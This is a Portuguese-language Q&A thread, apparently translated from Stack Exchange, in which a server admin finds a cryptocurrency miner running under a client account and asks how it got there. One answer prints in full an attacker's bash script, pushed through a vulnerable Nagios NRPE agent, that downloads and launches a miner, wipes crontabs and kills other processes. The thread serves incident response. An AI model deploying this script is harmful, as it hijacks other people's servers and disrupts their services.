Eu fui hackeado?

8

Eu corro um servidor dedicado, onde notei recentemente um alto uso da CPU e verifiquei os processos. Parece que alguém (conta mick) estava minerando no meu servidor. Como isso é possível? O processo está abaixo. Eu suspendi a conta. O que mais eu precisaria fazer?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
Booboo
fonte
verifique cronjobs para cada usuário.
TPS
5
Um pouco mais de informação sobre se você criou essa conta e quem tem acesso seria útil. Se você é o único que deve ter acesso, provavelmente está hackeado -> reinstalar do zero.
Anthon
É um servidor de hospedagem usando o painel de controle do Plesk. Existem vários clientes no servidor com vários domínios etc.
Booboo
Os clientes não têm acesso root ao servidor, apenas ftp
Booboo
2
Parece um minerador de criptomoedas Scrypt.
TheDoctor

Respostas:

11

Se você estiver executando um servidor Web que permita scripts no lado do servidor (php, ruby, etc), isso é muito fácil.

Tudo o que o usuário precisa fazer é gerar um script que baixa um arquivo /tmp/sh64e o executa. Os scripts da Web geralmente precisam ser capazes de executar programas externos e, portanto, é difícil impedir esse tipo de atividade.

Se a mickconta for a mesma usada para executar os scripts da web do usuário, eu diria que não, você não é hackeado. Apenas um usuário abusando de sua conta.

Se você deseja evitar esse comportamento, existem muito poucas maneiras de evitá-lo. Você pode impedir a chamada de programas externos. Ou você pode fazer algo como matar programas de longa duração (qualquer coisa deixada em execução por mais de 60 segundos, por exemplo).
Sem saber mais detalhes sobre sua configuração, é difícil determinar o melhor curso de ação.

Patrick
fonte
1
Como faço para impossibilitamos chamar programas externos
Booboo
Suas opções variam. Eu colocaria outra pergunta perguntando. Forneça detalhes de como o servidor da Web está configurado e qual idioma de script seus clientes estão usando. Um chroot simples pode funcionar, mas precisa dos detalhes.
1212 Patrick
2

Eu tive um problema parecido. Eles exploraram uma versão desatualizada do agente NRPE do Nagios para executar um wgetscript que instalou e configurou o minerador de bitcoin do Sourceforge (o daemon NRPE havia dont_blame_nrpeativado). Não encontrei nada que indique que a tentativa na minha máquina foi persistente.

Este é o script que foi usado para a instalação e configuração do minerador de Bitcoin:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Esse script foi executado inteiramente como usuário do Nagios, portanto não precisava de acesso root.

mtak
fonte
2

Seu sistema definitivamente foi comprometido ou, na pior das hipóteses, invadido. Há outras histórias que descrevem um mineiro semelhante sendo instalado.

Eu assumiria a posição de que seu sistema foi comprometido e obteria algo crítico para iniciar, para que você faça o backup, caso ainda não esteja sendo feito.

Análise

Se você está curioso para saber como eles entraram, precisará obter uma lista completa de quais serviços (web, mysql, etc.) você instalou e ver se há alguma exploração ativa que permita a alguém obter privilégios elevados.

Eu começaria com todas as habilitações da Web que são aplicativos baseados na Web. Geralmente, esses aplicativos podem ser excedidos pelo buffer e ter acesso à modificação da pilha do servidor da web, para que aplicativos adicionais possam ser instalados.

É o caso de que esses tipos de comprometimentos podem ser incidentes isolados; portanto, basta remover o software ofensivo e o malware para eliminá-lo sem ter que suportar as despesas de tempo de uma recuperação / configuração completa do sistema.

Se esse sistema fosse construído usando uma imagem baseada em VPS, eu trabalharia com o provedor, já que o patch seria do interesse de todos os clientes.

Além de apenas comprometer a pilha da web

Tudo na caixa precisa ser examinado e é essencialmente não confiável, mas levaria um tempo para ver se você não consegue descobrir de onde os invasores estão se conectando. Eles estão possivelmente fazendo login usando contas SSH que foram adicionadas ao sistema após comprometê-lo.

Essa pode ser uma tarefa árdua que leva muitos dias para fazer a análise, especialmente se você não pode confiar em nenhuma das ferramentas da caixa para ajudar nesse empreendimento. Eu encorajaria qualquer pessoa a dedicar esse tempo para entender como o sistema deles foi comprometido, para que você possa reduzir o risco de que isso aconteça novamente no futuro, pelo menos através desse vetor específico.

Se esse não é um problema de produção, essa é realmente uma boa oportunidade de aprendizado para obter informações valiosas sobre como os sistemas podem ser comprometidos e o acesso pode ser "alavancado" pelos invasores.

Forro de prata?

Como o sistema está sendo usado para fins de mineração, é provável que eles usem um conjunto de ferramentas de script automatizado, já que atacar sistemas suficientes para configurar mineradores zumbis parece que levaria muito tempo. Quando ferramentas como essas são usadas, geralmente são péssimas em sua construção, simplesmente procurando fazer o mínimo necessário para ganhar uma posição e depois entregar sua carga útil (o software de mineração), para que você tenha sorte e obtenha algumas informações adicionais. em como eles foram capazes de entrar.

slm
fonte
4
Não necessariamente. Se o servidor da Web permitir scripts no servidor e a mickconta for o usuário usado para executar os scripts, isso poderá ser feito facilmente sem invadir o servidor. Abuso, sim. Hack, não.
1212 Patrick
@ Patrick - muito verdade, eu alterei o A para refletir isso. Obrigado.
slm